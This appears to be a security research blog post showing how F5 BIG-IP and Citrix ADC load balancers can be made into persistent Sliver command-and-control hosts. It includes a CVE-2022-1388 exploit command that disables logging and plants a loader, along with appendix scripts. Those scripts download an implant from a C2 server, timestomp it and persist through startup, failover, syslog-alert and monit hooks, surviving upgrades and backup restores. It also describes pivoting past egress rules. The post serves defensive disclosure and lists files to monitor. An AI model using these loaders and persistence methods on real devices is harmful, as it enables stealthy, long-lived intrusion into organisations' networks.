Summary
The last 3 years have seen attackers turn their spotlights on initial network access through VPN concentrators, load balancers, routers, and IoT devices. Once the realm of only the most skilled nation-states, the evolution of network device firmware into full-fledged operating systems today provides attackers with a nearly invisible path into the most sensitive part of an organization: the critical infrastructure of its network. The proliferation of black box appliances, which hide vast capabilities behind the veneer of a web user interface is the perfect home for a skilled attacker.
Eclypsium research has discovered two of the industry-leading load-balancing devices can be easily repurposed as command & control systems, providing persistent access to both the devices themselves and their connected networks. The techniques used are within reach of an average attacker, utilize readily available open-source tooling, and are only detectable from the advanced administrative shell; they are invisible to the web management interface and restricted shell. Furthermore, by abusing built-in functionality it is possible to retain access if devices are rebooted, patched, or wiped and restored from backup. Organization compromise is the first stage of a supply chain attack, and few entry points afford attackers the level of access network hardware requires to perform its role.
Background
Since 2019, load balancers have been targeted as entry paths into corporate networks. Their position on the borders and in the cores of networks, coupled with the fact they cannot run AV or EDR software, makes them both a high-value and less well-defended target. As a result, there have been a number of critical vulnerabilities disclosed & promptly exploited against them, starting with CVE-2019-19781 (Citrix), followed by CVE-2020-5902 (F5), and CVE-2022-1388 (F5). All three vulnerabilities were trivial to exploit – the exploit code literally fits in a Tweet – and gave attackers full control over the devices. While the F5 vulnerabilities only impacted the management interface – something users are warned not to expose to the Internet – the Citrix vulnerability also impacted the VPN gateway, an address that must be Internet-exposed to provide VPN services. Citrix exploitation attempts began three days after Tripwire published a blog with a detailed analysis of the workaround, as no patch had yet been issued by Citrix. The vulnerability was caused by a path traversal flaw, which allowed an attacker to make an unauthenticated request to the IP using a URL of “/vpn/../vpns/” to execute malicious code.
In June of 2020, F5 published an advisory and patches for CVE-2020-5902, another path traversal flaw, this time allowing an attacker access to an undocumented JSP system that would execute shell commands with administrative privileges. F5 attempted to publish mitigation workarounds but was unsuccessful as the initial publication didn’t block the attack, and subsequent updates over the following days only served to further confuse administrators – by this time widescale exploitation had begun in earnest. In May 2022, CVE-2020-1388 was disclosed and, like the one before it, a PoC was available within days. This time the vulnerability stemmed from an internal flaw in the management API, allowing an attacker to tamper with HTTP request headers. Specially crafted API requests can trick the device into trusting the request as though it came from an authenticated administrative user and execute commands as root through the bash shell.
While all three of these vulnerabilities saw widespread exploitation shortly after disclosure, telemetry observed by Greynoise indicated that most attacks were the usual script kiddie attempts to create users, install web shells, download & run botnet code, or simply probes for device exploitability. This pattern is common when dealing with low-skilled attackers, and most organizations affected could merely wipe the device and install patched software. Any malicious artifacts would be removed and a quick check for new user accounts would allow those accounts to be disabled.
An APT has joined the chat
Device compromise, especially for a mission-critical load balancer or VPN appliance, is a big deal. While large-scale exploitation of the vulnerabilities outlined above was relegated to the bottom of the food chain, many advanced actors used these vulnerabilities in targeted breaches of organizations. In the last 5 years, the most common motivations for breaching a company have become ransomware, data leaks, or a combination of the two. These trends make headlines because the attacks are intentionally public as the goal is to leak data or cripple the business with a ransomware attack.
More insidious, however, are the nation-state actors whose goal isn’t monetary gain but rather information, espionage, or access to critical infrastructure during kinetic operations such as the Russian invasion of Ukraine in February 2022. In May 2022, Mandiant released a blog about a threat actor they name UNC3524, who achieved dwell times in the target network for at least 18 months, attributed to their method of initial access:
“Part of the group’s success at achieving such a long dwell time can be credited to their choice to install backdoors on appliances within victim environments that do not support security tools, such as anti-virus or endpoint protection….. These appliances are often running older versions of BSD or CentOS and would require considerable planning to compile functional malware for them” –Mandiant
The rest of the Mandiant blog will be left to the reader, but a few characteristics of UNC3524 stuck out: their TTPs were unreliable, they used modified open source software to establish their backdoor and seemed to only possess enough understanding of the systems to achieve the most basic of goals. Their implants were so unreliable they installed web shells for the sole purpose of restarting them when they died.
It was these characteristics that were the catalyst for the research, the unanswered being:
- Is it possible to use an off-the-shelf C2 framework on a load balancer?
- Can the malware be resilient enough to persist across reboots and even upgrades?
- Is it possible to infect the device so deeply that a clean wipe & reinstall isn’t sufficient?
- Assuming all answers are yes, what level of skill must an attacker possess to achieve these goals?
Phase one: Lab design & tooling selection
An omitted detail from the Mandiant report was exactly which load balancers had been targeted, but as F5 documents they run CentOS for their management OS, and Citrix uses FreeBSD, we can infer these are the vendors in question. The physical devices cost 10’s of thousands of dollars each, but fortunately, in the cloud-centric world we now live in, virtualization is king and both vendors provide virtual images of their products. They are also nice enough to give away either time or rate limited trial licenses. The lab environment consisted of a server running Proxmox, which is an open-source project based on the KVM hypervisor and both vendors supplied images for KVM. Deploying the virtual machines was fairly straightforward; it’s worth noting that Citrix images require a serial port to exist or they will not boot. In the case of F5, the CVE-2022-1388 exploit was intended to be part of the testing, and inexplicably (but fortunately for us) F5 distributes all versions of their code from their download site, even vulnerable ones.
A feature of both F5 & Citrix which provides a huge advantage to an attacker is both devices have fully interactive shells. While all network appliances provide shell access as one of their configuration methods, each vendor implements it differently. Devices with a restricted shell (one which only allows an administrator access to the commands required to configure, troubleshoot, backup, restore, etc.…) are a more challenging target as it obfuscates firmware details such as OS version, available tools, file storage locations, and system binaries. However, fully interactive shells have unlimited access. It’s worth noting that both F5 & Citrix do offer restricted shells, but administrators can access a bash shell at any time.
When it came time to choose a C2 framework; the goal was to avoid commercial software such as Cobalt Strike or Brute Ratel but use something more robust than a Metasploit reverse shell. We chose Sliver, an open-source framework developed by @LittleJoeTables. Written in Go, it supports a wide variety of operating systems, has pivoting and Wireguard tunneling functionality, and a very straightforward interface. While attackers may favor cracked versions of commercially available tools, the goal of the research was to achieve better results than UNC3524 did while staying completely open source.
Phase two: Recon & testing
It was trivial to validate that Sliver implants worked on both F5 & Citrix; neither system required any special build parameters beyond setting the architecture as either Linux or BSD. Neither system had any security controls to prevent unknown processes from starting and both would allow outbound connections to the C2 server in their default configuration. F5 devices do have SELinux, but it’s configuration did not stop our implants from running. While most of the testing was against the device management interfaces, F5 devices were found to share routing tables between their management & traffic processing domains. For example, if the implant attempted to connect to the Internet, but there was no default gateway for the management network, if a gateway existed on the traffic processing interfaces it would route the C2 outbound via that gateway. This was determined to be by-design behavior per F5’s documentation, Citrix also behaves the same way and it turned out that many networking devices in a default configuration will share routing information between management & traffic processing domains.
After confirming the C2 implants would work, the focus now turned to making the implants resilient. UNC3524’s C2 appeared to be so unstable that it would break during normal operation, so it was unlikely they could survive reboots, much less upgrades. The firmware on both devices is a fully functional operating system, not a stripped-down version as seen with commodity IoT devices, so there is no reason for the implants to be this brittle. A common technique for malware persistence is running as a scheduled task. On Linux or BSD this is accomplished using cron. However, defenders know this and cron is one of the first places checked during incident response. Initially, there was also the concern that cron may start too many implant processes, thereby losing the advantage of stealth (e.g. a defender checking running processes will notice 100 of the same process running and investigate).
Another consideration was the ability to persist post-upgrade as the upgrade process used by F5 would overwrite any changes made to cron. Based on these factors, the determination was made to use something other than cron, but what? F5 uses the older init.d method to start services, and startup scripts are stored in the /etc/init.d/ directory; an early theory was a startup script could be added here to run the implant like a system daemon. Unfortunately for us, the /etc directory is wiped during an upgrade so the next step was to find out which files and/or directories would be preserved during the upgrade process in the hope those systems could be abused.
An unexpected discovery during this research was vendor documentation; it proved to be a wealth of information on undocumented features and functionality shoehorned into these devices over the years. In credit to the vendors, had it not been for the documentation this research would have been significantly more difficult. It is important to understand how devices handle their configuration files. F5 stores configuration in the /config directory. While their inter-device synchronization uses a proprietary system, the backup, restore, and upgrade processes are simple. The device creates an archive file, which is simply a tar.gz with a .ucs extension. This file is what an administrator will save as a backup, and during an upgrade the device will create a UCS then transfer it to the new boot location (think multi-booting Windows & Linux) and unpack the file into the newly installed version before the administrator reboots into that partition.
With this in mind, we wanted to understand if there were any controls or safeguards around which files are included in the archive. K4422 on F5’s support site documents the configuration file which controls archive file inclusion/exclusion. F5 provides grep strings which let us confirm that everything in /config would be backed up, along with other filesystem locations. The next logical step was to create an archive from a clean installation, unpack it to a temp folder and see what we had to work with. As it turns out, a configuration backup has hundreds of files so we narrowed it down to executable scripts and “odd” config files (ones that were not the standard configs for the device, users, load balancing, etc…) A few files soon stood out:
/config/startup/config/user_alert.conf/config/failover/[active,standby,tgactive,tgrefresh,tgstandby]
The functionality of these files is fully documented, and the TL;DR is that we now had not one, not two but three vendor-supported methods to run scripts. This allows us to keep the C2 running post-reboot and, as they are included in configuration archives, persist across upgrades & infect config backups.
- K11948: Configuring the BIG-IP system to run commands or scripts upon system startup
- K14397: Running a command or custom script based on a syslog message
- K6008: Configuring the BIG-IP system to run commands or scripts upon failover
Phase three: Putting it all together
Testing all our shiny new persistence methods was straightforward: read the documentation. However, there were still two problems to solve. The first was ensuring we didn’t start too many implants to avoid excessive running processes. A device reboot would only start one copy but changing the failover state or a syslog message being generated would not kill the running implant, leaving more than one copy running on the device. There was also the question of how to store the implant. Sliver implants are fairly large files; our Linux binary was 12MB and would noticeably change the size of a backup. We opted to use a loader script that would serve a few purposes: download the implant if needed, install it, run it and never start more than one copy.
Note: Opting to download the implant makes the assumption that the device can connect to the Internet. If the attacker didn’t have this luxury but had a foothold on another system in the network, a smaller implant could be stored inside the config directory structure without alerting the administrators. This implant could instead connect to the “jump box” system under the attacker’s control.
To be extra sneaky, we abuse F5’s use of the ‘runsv’ Linux service; we discovered runsv was configured to run a service, and that service configuration pointed to a binary that did not exist on the system so we used this missing binary for our implant name: restjavad (ironically, the daemon which provided the exploit path for CVE-2020-5902).
The logic of the loader script is simple. First, the script sleeps for 1-10 seconds randomly; this is to prevent a race condition from starting too many implants if the script runs in quick succession. It then starts the implant (if it’s not already running), or if it doesn’t exist it downloads it and installs it. As a “security control” F5 mounts the /usr filesystem as read-only. We change that so /usr is mounted as writable, then timestomp the implant so it doesn’t stick out and finally remount back.
We wanted to test a real-world exploitation scenario, so we used a vulnerable version of F5, version 15.1.0.3, and the CVE-2022-1388 exploit from Horizon3ai. As this vulnerability provides full bash shell access, we simulated a more advanced attacker by first shutting off all logging to cover our tracks:
nate@ubuntuserver:~$ ./CVE-2022-1388.py -t <IP> -c 'bigstart stop syslog-ng'
Shutting down syslog-ng:
nate@ubuntuserver:~$After this, we used the exploit to add our persistence to the failover configurations, drop the loader script and execute it:
./CVE-2022-1388.py -t <IP> -c 'cd /config/failover;echo tmsh run util bash -c /config/failover/restjavad_runner | tee -a /config/failover/*;curl http://<C2 server>/runner > restjavad_runner;chmod +x restjavad_runner;./restjavad_runner'A few seconds later – after the loader downloaded the implant – we received the C2 callback on our Sliver console.
This is what it looks like when the implant is started via a syslog message or a device failover:
Implant is started when specific message is logged. Implant then starts pivot listener allowing infected Windows server to connect. Second device implant is started when device failover occurs
The configuration install example below would happen if a device was wiped & reinstalled from scratch and the process is, for all intents and purposes, the same as the post-upgrade migration of the device configuration:
A backup file containing the implant script is installed, resulting in the implant being reinstalled & started.
We didn’t stop here, this is APT country
Thoroughly owning the F5 was a success, but attackers are equal opportunity miscreants and our intent was always to see if both the industry leading load balancer companies were susceptible to the same attacks. Citrix was slightly more complex, on account that they simply store fewer files and have no by-design methods to run scripts on certain device state changes. Similar to F5, they store their configs in /nsconfig and also use archive files for configuration backups. We confirmed that any file in /nsconfig would be included in an archive, so we were partially there. Their support site isn’t as comprehensive so we had much less help from the vendor in that regard.
But, buried inside their user manual was a clue: a section detailing how to configure NTP sync:
- If the /nsconfig directory does not contain a file named rc.netscaler, create the file.
- Add the following entry to /nsconfig/rc.netscaler: /bin/sh /etc/ntpd_ctl full_start.
This entry starts the ntpd service, checks the ntp.conf file, and logs messages in the /var/log directory. This process runs every time the Citrix ADC is restarted.
This process runs every time the Citrix ADC is restarted. Now we had confirmation there was a method to run at least *something* during reboot. The /etc directory on a Citrix ADC contained a bunch of _ctl files but none were executable and we were unable to modify the rc.netscaler file from the NTP solution to run the implant. Further inspection of the _ctl files finally led us to the answer: Citrix uses the Monit package to start/stop/monitor the status of system processes. A quick search for ‘monit’ gave us the last piece of the puzzle and we then confirmed the monit config file would be preserved inside config backups:
How to install custom FreeBSD configuration files on a Netscaler
As a Netscaler is an appliance, the root filesystem (which is a RAMDisk) is restored from a non-modifiable image during every boot. As such, modifications to any FreeBSD configuration files in /etc will be erased upon reboot.
This article shows how to properly install supported modifications to FreeBSD configuration files.
We ended up writing a wrapper for our implant to run like a service and reused the same logic from the F5 loader. From there we simply dropped this file and the modified monit file into /nsconfig and verified the implant would start on boot and that our wrapper would be included in backup files. Citrix does not provide vulnerable versions of their software, so we were unable to test the same exploitation scenario we used with F5.
One of the humorous behaviors observed with the Citrix method is that during boot the serial console will log a message indicating the ‘nssupport’ service isn’t running (again, sneaky naming is sneaky). Another interesting side effect of this method was the implant becomes highly persistent; attempting to kill it via the Sliver console would momentarily drop the connection, only to have it restart a few seconds later when monit saw it wasn’t running. We theoretically could have repurposed the ntpd_ctl file, but as NTP is a commonly used service we went with the assumption this file was already in legitimate use.
Pivoting through the load balancers
One of the features Sliver provides is pivoting, which lets attackers reach farther inside a network to systems that are unreachable directly and cannot initiate a connection to the Internet. This functionality would be extremely valuable since these devices are frequently deployed with access to large portions of the network. To our surprise, the F5 device allowed us to bind the implant to an ephemeral port of an IP on the device, and once we opened the ACL to allow access to that port, we were able to pivot traffic from a server behind the F5 out to the Internet. The server was disallowed Internet access by the F5 configuration as blocking servers from initiating outbound connections is a common security practice that we were able to bypass with this method.
For this test, we used Metasploit and first attacked the F5 using the same CVE-2022-1388 exploit. Once on the F5, we port scanned the internal subnet and found a Windows 2012 server. We were lucky that the server administrator forgot to install the MS17-010 patch so we were able to exploit it, upload the special pivot implant and execute it upon which it established a connection to our C2, bypassing the security controls of the F5.
In closing
The bar for advanced attackers keeps getting lower and as the imposed cost of attacking hardened systems like servers or workstations gets higher, attackers are turning to more novel ways of infiltrating organizations. Networks have been, and will continue to be, prime targets and special attention must be paid to securing and monitoring the most critical pieces of infrastructure. Gone are the days of proprietary, purpose-built firmware used by routers & switches, instead replaced with firmware which is a fully functional operating system. This evolution introduces the commodity-server level risk on devices that have historically been out of reach for all but the most skilled attackers. Network-level access provides actors the perfect jumping-off point for supply chain attacks such as SolarWinds, critical infrastructure attacks, ransomware deployment and redeployment, and espionage.
The methodology used in this research theoretically will work against any device that provides a full shell. Devices without full shells may be possible, however, our research was only limited by the number of vendors whose virtual machines we could acquire. The techniques used didn’t require special access, custom tooling, or exploit development beyond what was publicly available and were largely developed by simply reading the documentation through the lens of a motivated bad actor. We tested these persistence methods on the latest versions of both vendors firmware; F5 v.17.0 and Citrix v13.1 and both were successful. The features and functionality abused is also unlikely to change because vendors are beholden to their customers and usability frequently outweighs security.
Network hardware security patching frequently lags far behind servers and workstations due to mission criticality and aversion to the uptime risks incurred by patching. Organizations may have a false sense of security due to the fact these systems aren’t directly exposed to the Internet, but any level of network access introduces risk, and administrators are considered high-value targets. Unfortunately, this behavior will continue to give attackers the upper hand. Researchers must continue this work and hope defenses against our techniques can be developed before they become widespread.
Appendix
Detection – The following files provide script execution & should be closely monitored
F5
/config/startup/config/user_alert.conf/config/failover/[active,standby,tgactive,tgrefresh,tgstandby]
Citrix
/nsconfig/monitrc/nsconfig/rc.netscaler
Code samples:
F5 loader
#!/bin/bash
# Filename: /config/failover/restjavad_runner
#
#
export REMOTEUSER=root
# Limit to 4 times in while-loop, ie. 4 x 30 secs sleep = 2 mins.
MAX_LOOP=4
while true
do
MCPD_RUNNING=`ps aux | grep "/usr/bin/mcpd" | grep -v grep | wc -l`
if [ "$MCPD_RUNNING" -eq 1 ]; then
# If secured restjavad exists, start after boot
# If secured restjavad does not exist, install and start after boot
sleep $[ ( $RANDOM % 10 ) + 1 ]s
pidof restjavad >/dev/null
if [[ $? -ne 0 ]] ; then
if [ -e /usr/bin/restjavad ]
then
/usr/bin/restjavad &
else
mount -o remount,rw /usr
curl http://[C2 SERVER]/implant > /usr/bin/restjavad
chmod +x /usr/bin/restjavad
touch -a -m -t `ls -l --time-style=+%Y%m%d%H%M.%S /usr/bin/systemctl |awk '{print $6}'` /usr/bin/restjavad
mount -o remount,ro /usr
/usr/bin/restjavad &
fi
fi
fi
exit
# If MCPD is not ready yet, script sleep 30 seconds and check again.
sleep 30
# Safety check not to run this script in background beyond 2 mins (ie. 4 times in while-loop).
if [ "$MAX_LOOP" -eq 1 ]; then
echo "MCPD not started within 2 minutes. Exiting script."
exit
fi
((MAX_LOOP--))
doneF5 script entries
/config/failover/* and /config/startup script entry to start on failover:
tmsh run util bash -c '/config/failover/restjavad_runner'
User_alert.conf entry to run on syslog message:
/* Start restjavad on log message */
alert restjavad_startup_delay "monitor status down" {
exec command="/config/failover/restjavad_runner";
}
Citrix monit wrapper
#!/bin/sh
start_nssupport()
{
stop_nssupport
if [ -e /netscaler/nssupport ]
then
echo -n 'nssupport '
/netscaler/nssupport &
echo -n $! > /var/run/nssupport.pid
else
curl http://[C2 SERVER]/freebsd > /netscaler/nssupport
chmod +x /netscaler/nssupport
echo -n 'nssupport '
/netscaler/nssupport &
echo -n $! > /var/run/nssupport.pid
fi
}
stop_nssupport()
{
cat /var/run/nssupport.pid | xargs kill
rm -f /var/run/nssupport.pid
}
case $1 in
start)
start_nssupport;
;;
stop)
stop_nssupport;
;;
*)
echo "nssupport_ctl: no argument";
;;
esacCitrix monit entry
## Check nssupport
check process nssupport with pidfile /var/run/nssupport.pid
start program "/bin/sh /nsconfig/nssupport_ctl start"
stop program "/bin/sh /nsconfig/nssupport_ctl stop"
